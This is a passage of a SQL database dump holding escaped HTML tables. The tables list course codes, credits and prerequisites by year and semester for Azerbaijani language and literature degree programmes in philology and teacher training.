height=\"17\">&nbsp;</td>\r\n  <td width=\"270\"><strong>Kredit</strong></td>\r\n  <td width=\"32\">16</td>\r\n  <td width=\"101\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"360\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"107\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"17\"><strong>3-cü il</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"270\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"32\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"101\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"360\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"107\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">AZLL307</td>\r\n  <td width=\"270\">Azərbaycan\r\n  ədəbiyyatı tarixi -5</td>\r\n  <td width=\"32\">3</td>\r\n  <td width=\"101\">AZLL208</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 306</td>\r\n  <td width=\"360\">Azərbaycan\r\n  ədəbi dil tarixi</td>\r\n  <td>3</td>\r\n  <td>AZLL206</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">LIT 305</td>\r\n  <td width=\"270\">Dünya\r\n  ədəbiyyatı-1</td>\r\n  <td width=\"32\">3</td>\r\n  <td width=\"101\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">EDU 496</td>\r\n  <td width=\"360\">Sinfin\r\n  idarəolunması (<strong><em>Sosial-2</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">MED 315</td>\r\n  <td width=\"270\">Mülki\r\n  müdafiə və tibbi biliklərin əsasları&nbsp;&nbsp;</td>\r\n  <td width=\"32\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL343</td>\r\n  <td width=\"360\">Azərbaycan\r\n  ədəbiyyatı tarixi -6</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">AZLL307</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">PSYCH 304</td>\r\n  <td width=\"270\">Təhsil\r\n  psixologiyasının əsasları&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"101\">EDU&nbsp; 101</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">LIT 308</td>\r\n  <td width=\"360\">Dünya\r\n  ədəbiyyatı-2</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">LİT\r\n  305</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">MGT 410</td>\r\n  <td>Təşkilati davranış\r\n  (<strong><em>Sosial-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td width=\"101\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">EDU 302</td>\r\n  <td width=\"360\">Kurikulum\r\n  və qiymətləndirmə strategiyaları&nbsp;</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"101\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>SPH 202</td>\r\n  <td width=\"360\">Nitq\r\n  mədəniyyəti və üslubiyyət (<strong><em>Seçmə-1</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td width=\"270\"><strong>Kredit</strong></td>\r\n  <td width=\"32\">15</td>\r\n  <td width=\"101\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"360\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"107\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"17\"><strong>4-cü il</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"270\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"32\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"101\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"360\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"107\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">LIT405</td>\r\n  <td width=\"270\">Dünya\r\n  ədəbiyyatı-3</td>\r\n  <td width=\"32\">3</td>\r\n  <td width=\"101\">LIT\r\n  308</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">EDU 408</td>\r\n  <td width=\"360\">Aktiv\r\n  praktika&nbsp;</td>\r\n  <td width=\"33\">6</td>\r\n  <td>EDU 101, EDU 302</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">TURK 335</td>\r\n  <td width=\"270\">Türk\r\n  dillərinin müqayisəli qrammatikası (<strong><em>Seçmə-2</em></strong>)</td>\r\n  <td width=\"32\">3</td>\r\n  <td width=\"101\">yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 412</td>\r\n  <td width=\"360\">Azərbaycan\r\n  dialektologiyası (<strong><em>Seçmə dil-4</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>LING 216</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl64\" width=\"67\" style=\"\" height:25.5pt;border-top:none;width:50pt\"\"=\"\">EDU 407</td>\r\n  <td width=\"270\">Passiv\r\n  praktika&nbsp;</td>\r\n  <td width=\"32\">6</td>\r\n  <td>EDU 101<br>EDU 302</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 488</td>\r\n  <td width=\"360\">Şərq\r\n  dilləri mühiti və Azərbaycan ədəbiyyatı (<strong><em>Seçmə ədəbiyyat-3</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">EDU 408</td>\r\n  <td width=\"270\">Ana\r\n  dilinin tədrisi metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"101\">EDU\r\n  101</td>\r\n  <td>&nbsp;</td>\r\n  <td>EDU 409</td>\r\n  <td>Ədəbiyyatın tədrisi\r\n  metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"107\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 456</td>\r\n  <td width=\"360\">Azərbaycan\r\n  dramaturgiyası (<strong><em>Seçmə ədəbiyyat-5</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td width=\"270\"><strong>Kredit</strong></td>\r\n  <td width=\"32\">15</td>\r\n  <td width=\"101\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"360\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"107\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\"></td>\r\n  <td><strong>Ümumi</strong></td>\r\n  <td>132</td>\r\n  <td>Kredit</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr></tbody></table>  </div><div><br></div>'),(4701,2789,'az','Kurikulum','Kurikulum','<table cellpadding=\"0\" cellspacing=\"0\" width=\"913\" style=\"\" border-collapse:collapse;width:685pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl102\" width=\"913\" style=\"\" height:30.0pt;width:685pt\"\"=\"\"><h3><strong>050201 – Azərbaycan dili və ədəbiyyatı&nbsp;filologiyası</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\">\r\n </tr>\r\n <tr height=\"20\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"20\"><strong>1-ci il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td rowspan=\"2\" height=\"40\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"216\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 101</td>\r\n  <td>İngilis dilinin\r\n  əsasları 1</td>\r\n  <td>4</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 102</td>\r\n  <td width=\"247\">İngilis\r\n  dilinin əsasları 2</td>\r\n  <td width=\"33\">4</td>\r\n  <td>ENGL 101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">ASC 201&nbsp;</td>\r\n  <td width=\"216\">Azərbaycan\r\n  mədəniyyəti</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150&nbsp;</td>\r\n  <td width=\"247\">Azərbaycan\r\n  tarixi</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">AZLL 106</td>\r\n  <td>Müasir azərbaycan\r\n  dili-1</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL108</td>\r\n  <td width=\"247\">Müasir\r\n  Azərbaycan dili-2</td>\r\n  <td>3</td>\r\n  <td>AZLL 106</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">AZLL107</td>\r\n  <td width=\"216\">Azərbaycan\r\n  ədəbiyyat tarixi-1 (Azərbaycan şifahi xalq ədəbiyyatı)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">LIT 116</td>\r\n  <td width=\"247\">Ədəbiyyat\r\n  nəzəriyyəsi</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">CMS 101</td>\r\n  <td width=\"216\">Kompüter\r\n  elminə giriş</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL109</td>\r\n  <td width=\"247\">Azərbaycan\r\n  ədəbiyyatı tarixi-2</td>\r\n  <td>3</td>\r\n  <td width=\"75\">AZLL107</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"216\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">16</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td><strong>Kredit</strong></td>\r\n  <td>16</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"20\"><strong>2-ci il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td rowspan=\"2\" height=\"40\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"216\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"247\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 103</td>\r\n  <td width=\"216\">Akademik\r\n  ingilis dili&nbsp;</td>\r\n  <td width=\"46\">4</td>\r\n  <td>ENGL 102</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 216</td>\r\n  <td width=\"247\">Xüsusi\r\n  məqsədlər üçün ingilis dilini</td>\r\n  <td width=\"33\">3</td>\r\n  <td>ENGL 103</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL 211</td>\r\n  <td width=\"216\">Əski\r\n  əlifba (<strong><em>Humanitar-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PERS 206</td>\r\n  <td width=\"247\">Fars\r\n  dili (<strong><em>Humanitar-2</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl81\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL 206</td>\r\n  <td width=\"216\">Müasir\r\n  Azərbaycan dili-3</td>\r\n  <td width=\"46\">3</td>\r\n  <td>AZLL 108</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 302</td>\r\n  <td width=\"247\">Müasir\r\n  Azərbaycan dili-4</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">AZLL\r\n  206</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">LİNG 216</td>\r\n  <td width=\"216\">Dilçiliyin\r\n  əsasları</td>\r\n  <td>3</td>\r\n  <td>none</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">SPH 202</td>\r\n  <td width=\"247\">Üslubiyyət\r\n  və nitq mədəniyyəti</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"56\">\r\n  <td height=\"56\" class=\"xl68\" width=\"86\" style=\"\" height:42.0pt;border-top:none;width:65pt\"\"=\"\">AZLL207</td>\r\n  <td width=\"216\">Azərbaycan\r\n  ədəbiyyatı tarixi-3</td>\r\n  <td width=\"46\">3</td>\r\n  <td>AZLL 109</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL208</td>\r\n  <td width=\"247\">Azərbaycan\r\n  ədəbiyyatı tarixi-4</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">AZLL207</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"216\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">16</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"247\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"20\"><strong>3-cü il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"216\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"247\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL307</td>\r\n  <td width=\"216\">Azərbaycan\r\n  ədəbiyyatı tarixi -5</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">AZLL208</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 306</td>\r\n  <td width=\"247\">Azərbaycan\r\n  ədəbi dil tarixi</td>\r\n  <td>3</td>\r\n  <td>AZLL206</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">LIT 305</td>\r\n  <td width=\"216\">Dünya\r\n  ədəbiyyatı-1</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">TURK 305</td>\r\n  <td width=\"247\">Türk\r\n  dillərinin müqayisəli qrammatikası</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">yox</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">MED 315</td>\r\n  <td width=\"216\">Mülki\r\n  müdafiə və tibbi biliklərin əsasları&nbsp;&nbsp;</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL343</td>\r\n  <td width=\"247\">Azərbaycan\r\n  ədəbiyyatı tarixi-6</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">AZLL307</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">EDU 101</td>\r\n  <td width=\"216\">Təhsilə\r\n  giriş <strong><em>(Sosial-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td width=\"75\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">LIT 308</td>\r\n  <td width=\"247\">Dünya\r\n  ədəbiyyatı-2</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">LIT\r\n  305</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">TURK 201</td>\r\n  <td>Türkologiyaya giriş\r\n  (<strong><em>Seçmə dil-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td width=\"75\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PSYC 304</td>\r\n  <td width=\"247\">Təhsil\r\n  psixologiyası (<strong><em>Sosial-2</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL 314</td>\r\n  <td width=\"247\">Leksikologiya\r\n  (<strong><em>Seçmə dil-2</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">AZLL\r\n  302</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"216\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">15</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"247\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"20\"><strong>4-cü il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"216\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"247\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">LIT405</td>\r\n  <td width=\"216\">Dünya\r\n  ədəbiyyatı-3</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">LİT\r\n  308</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL416</td>\r\n  <td width=\"247\">Ədəbi\r\n  tənqid</td>\r\n  <td width=\"33\">3</td>\r\n  <td>LIT 343</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL 480</td>\r\n  <td width=\"216\">Onomastika\r\n  (<strong><em>S</em></strong><strong><em>eçmə dil-3</em></strong>)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">AZLL\r\n  302</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 412</td>\r\n  <td width=\"247\">Azərbaycan\r\n  dialektologiyası (<strong><em>Seçmə dil-4</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>LING 216</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">TURK 102</td>\r\n  <td width=\"216\">Türk\r\n  xalqları ədəbiyyatı (Seçmə ədəbiyyat-1)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 488</td>\r\n  <td width=\"247\">Şərq\r\n  dilləri mühiti və Azərbaycan ədəbiyyatı (<strong><em>Seçmə ədəbiyyat-3</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">LİT 466</td>\r\n  <td width=\"216\">20-ci\r\n  əsr Azərbaycan nəsri&nbsp;(<strong><em>Seçmə ədəbiyyat-2</em></strong>)&nbsp;</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL 497</td>\r\n  <td width=\"247\">Yaradıcı\r\n  yazı (<strong><em>Seçmə ədəbiyyat-4</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">EDU 408</td>\r\n  <td width=\"216\">Ana\r\n  dilinin tədrisi metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"75\">EDU\r\n  101</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 456</td>\r\n  <td width=\"247\">Azərbaycan\r\n  dramaturqiyası (<strong><em>Seçmə ədəbiyyat-5</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"40\">\r\n  <td height=\"40\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>EDU 409</td>\r\n  <td>Ədəbiyyatın tədrisi\r\n  metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"75\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"216\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">15</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"247\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"></td>\r\n  <td><strong>Ümumi</strong></td>\r\n  <td>132</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr></tbody></table>  <br><br><br><br><br>  <div><br></div><div><table cellpadding=\"0\" cellspacing=\"0\" width=\"1070\" style=\"\" border-collapse:collapse;width:803pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl102\" width=\"913\" style=\"\" height:30.0pt;width:685pt\"\"=\"\"><h3><strong>050101 – Azərbaycan dili və ədəbiyyatı&nbsp; müəllimliyi</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\">\r\n </tr>\r\n <tr height=\"17\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"17\"><strong>1-ci il</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td rowspan=\"2\" height=\"23\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"270\" style=\"font-size:large\"><strong>Payiz</strong></td>\r\n  <td rowspan=\"2\" width=\"32\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"101\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"6\">\r\n  <td height=\"6\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">ENGL 101</td>\r\n  <td>İngilis dilinin\r\n  əsasları 1</td>\r\n  <td>4</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 